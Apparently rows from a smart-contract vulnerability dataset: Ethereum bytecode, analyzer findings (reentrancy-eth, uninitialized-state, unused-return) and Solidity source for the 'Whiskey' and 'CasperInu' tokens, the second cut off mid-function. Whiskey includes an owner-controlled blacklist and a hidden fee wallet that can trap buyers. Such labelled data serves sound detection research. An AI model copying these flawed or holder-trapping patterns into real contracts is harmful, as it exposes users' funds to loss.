0020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114a2578082015181840152602081019050611487565b50505050905090810190601f1680156114cf5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156114f757600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160b57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117a95780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156117c45750828110155b15156117cc57fe5b8091505092915050565b60008282111515156117e457fe5b8183039050929150505600a165627a7a7230582066c07b12bb29ee3184253ae8ad5f1271713fb792b80557fed798478a848b61a90029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
7,464
0xa19692308e8db095053634d13babf1dfeb9e1b2b
/** ___ __ ___ ___ ___ ________ ___ __ _______ ___ ___ |\ \ |\ \|\ \|\ \|\ \|\ ____\|\ \|\ \ |\ ___ \ |\ \ / /| \ \ \ \ \ \ \ \\\ \ \ \ \ \___|\ \ \/ /|\ \ __/| \ \ \/ / / \ \ \ __\ \ \ \ __ \ \ \ \_____ \ \ ___ \ \ \_|/__ \ \ / / \ \ \|\__\_\ \ \ \ \ \ \ \|____|\ \ \ \\ \ \ \ \_|\ \ \/ / / \ \____________\ \__\ \__\ \__\____\_\ \ \__\\ \__\ \_______\__/ / / \|____________|\|__|\|__|\|__|\_________\|__| \|__|\|_______|\___/ / \|_________| \|___|/ */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Whiskey is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Whiskey"; string private constant _symbol = "Whiskey"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x4cA130F57efc2A6F0eCBDF0a28a73Dd598a7AB18); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000 * 10**9; _maxWalletSize = 30000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610308578063b87f137a14610328578063c3c8cd8014610348578063c9567bf91461035d578063dd62ed3e1461037257600080fd5b806370a0823114610296578063715018a6146102b6578063751039fc146102cb5780638da5cb5b146102e057806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610205578063313ce567146102255780635932ead114610241578063677daa57146102615780636fc3eaec1461028157600080fd5b806306fdde031461012f578063095ea7b31461016e57806318160ddd1461019e5780631b3f71ae146101c357806323b872dd146101e557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820182526007815266576869736b657960c81b6020820152905161016591906116dc565b60405180910390f35b34801561017a57600080fd5b5061018e610189366004611756565b6103b8565b6040519015158152602001610165565b3480156101aa57600080fd5b50670de0b6b3a76400005b604051908152602001610165565b3480156101cf57600080fd5b506101e36101de366004611798565b6103cf565b005b3480156101f157600080fd5b5061018e61020036600461185d565b61046e565b34801561021157600080fd5b506101e361022036600461189e565b6104d7565b34801561023157600080fd5b5060405160098152602001610165565b34801561024d57600080fd5b506101e361025c3660046118c9565b610522565b34801561026d57600080fd5b506101e361027c3660046118e6565b61056a565b34801561028d57600080fd5b506101e36105c4565b3480156102a257600080fd5b506101b56102b136600461189e565b6105f1565b3480156102c257600080fd5b506101e3610613565b3480156102d757600080fd5b506101e3610687565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610165565b34801561031457600080fd5b5061018e610323366004611756565b6106c4565b34801561033457600080fd5b506101e36103433660046118e6565b6106d1565b34801561035457600080fd5b506101e3610725565b34801561036957600080fd5b506101e361075b565b34801561037e57600080fd5b506101b561038d3660046118ff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c5338484610adc565b5060015b92915050565b6000546001600160a01b031633146104025760405162461bcd60e51b81526004016103f990611938565b60405180910390fd5b60005b815181101561046a576001600660008484815181106104265761042661196d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061046281611999565b915050610405565b5050565b600061047b848484610c00565b6104cd84336104c885604051806060016040528060288152602001611afc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611008565b610adc565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016103f990611938565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016103f990611938565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016103f990611938565b600081116105a157600080fd5b6105be60646105b8670de0b6b3a764000084611042565b906110cb565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e457600080fd5b476105ee8161110d565b50565b6001600160a01b0381166000908152600260205260408120546103c990611147565b6000546001600160a01b0316331461063d5760405162461bcd60e51b81526004016103f990611938565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b15760405162461bcd60e51b81526004016103f990611938565b670de0b6b3a7640000600f819055601055565b60006103c5338484610c00565b6000546001600160a01b031633146106fb5760405162461bcd60e51b81526004016103f990611938565b6000811161070857600080fd5b61071f60646105b8670de0b6b3a764000084611042565b60105550565b600c546001600160a01b0316336001600160a01b03161461074557600080fd5b6000610750306105f1565b90506105ee816111c4565b6000546001600160a01b031633146107855760405162461bcd60e51b81526004016103f990611938565b600e54600160a01b900460ff16156107df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f9565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081b3082670de0b6b3a7640000610adc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610859573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087d91906119b2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee91906119b2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f91906119b2565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d719473061098f816105f1565b6000806109a46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a0c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3191906119cf565b5050600e805466470de4df820000600f55666a94d74f43000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ab8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046a91906119fd565b6001600160a01b038316610b3e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c645760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b038216610cc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b60008111610d285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f9565b6000600a55600b8055610d436000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610d7257506000546001600160a01b03838116911614155b15610ff8576001600160a01b03831660009081526006602052604090205460ff16158015610db957506001600160a01b03821660009081526006602052604090205460ff16155b610dc257600080fd5b600e546001600160a01b038481169116148015610ded5750600d546001600160a01b03838116911614155b8015610e1257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e275750600e54600160b81b900460ff165b15610f2c57600f54811115610e7e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f9565b60105481610e8b846105f1565b610e959190611a1a565b1115610ee35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b6001600160a01b0382166000908152600760205260409020544211610f0757600080fd5b610f1242601e611a1a565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f575750600d546001600160a01b03848116911614155b8015610f7c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f8b576000600a55600b80555b6000610f96306105f1565b600e54909150600160a81b900460ff16158015610fc15750600e546001600160a01b03858116911614155b8015610fd65750600e54600160b01b900460ff165b15610ff657610fe4816111c4565b478015610ff457610ff44761110d565b505b505b61100383838361133e565b505050565b6000818484111561102c5760405162461bcd60e51b81526004016103f991906116dc565b5060006110398486611a32565b95945050505050565b600082600003611054575060006103c9565b60006110608385611a49565b90508261106d8583611a68565b146110c45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b60006110c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611349565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561046a573d6000803e3d6000fd5b60006008548211156111ae5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f9565b60006111b8611377565b90506110c483826110cb565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120c5761120c61196d565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611265573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128991906119b2565b8160018151811061129c5761129c61196d565b6001600160a01b039283166020918202929092010152600d546112c29130911684610adc565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112fb908590600090869030904290600401611a8a565b600060405180830381600087803b15801561131557600080fd5b505af1158015611329573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61100383838361139a565b6000818361136a5760405162461bcd60e51b81526004016103f991906116dc565b5060006110398486611a68565b6000806000611384611491565b909250905061139382826110cb565b9250505090565b6000806000806000806113ac876114d1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113de908761152e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461140d9086611570565b6001600160a01b03891660009081526002602052604090205561142f816115cf565b6114398483611619565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147e91815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a76400006114ac82826110cb565b8210156114c857505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114ee8a600a54600b5461163d565b92509250925060006114fe611377565b905060008060006115118e87878761168c565b919e509c509a509598509396509194505050505091939550919395565b60006110c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611008565b60008061157d8385611a1a565b9050838110156110c45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b60006115d9611377565b905060006115e78383611042565b306000908152600260205260409020549091506116049082611570565b30600090815260026020526040902055505050565b600854611626908361152e565b6008556009546116369082611570565b6009555050565b600080808061165160646105b88989611042565b9050600061166460646105b88a89611042565b9050600061167c826116768b8661152e565b9061152e565b9992985090965090945050505050565b600080808061169b8886611042565b905060006116a98887611042565b905060006116b78888611042565b905060006116c982611676868661152e565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611709578581018301518582016040015282016116ed565b8181111561171b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105ee57600080fd5b803561175181611731565b919050565b6000806040838503121561176957600080fd5b823561177481611731565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117ab57600080fd5b823567ffffffffffffffff808211156117c357600080fd5b818501915085601f8301126117d757600080fd5b8135818111156117e9576117e9611782565b8060051b604051601f19603f8301168101818110858211171561180e5761180e611782565b60405291825284820192508381018501918883111561182c57600080fd5b938501935b828510156118515761184285611746565b84529385019392850192611831565b98975050505050505050565b60008060006060848603121561187257600080fd5b833561187d81611731565b9250602084013561188d81611731565b929592945050506040919091013590565b6000602082840312156118b057600080fd5b81356110c481611731565b80151581146105ee57600080fd5b6000602082840312156118db57600080fd5b81356110c4816118bb565b6000602082840312156118f857600080fd5b5035919050565b6000806040838503121561191257600080fd5b823561191d81611731565b9150602083013561192d81611731565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119ab576119ab611983565b5060010190565b6000602082840312156119c457600080fd5b81516110c481611731565b6000806000606084860312156119e457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a0f57600080fd5b81516110c4816118bb565b60008219821115611a2d57611a2d611983565b500190565b600082821015611a4457611a44611983565b500390565b6000816000190483118215151615611a6357611a63611983565b500290565b600082611a8557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ada5784516001600160a01b031683529383019391830191600101611ab5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d5a4d63b1c9e88db37055dbb4816a8265d254fa09eee5349a79e296f5795025764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,465
0x61446695e82b421158b3d990e61f238089d6feff
/** *Submitted for verification at Etherscan.io on 2021-10-31 */ //https://t.me/casperinuerc20 // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CasperInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CasperInu"; string private constant _symbol = "CASPERINU"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, 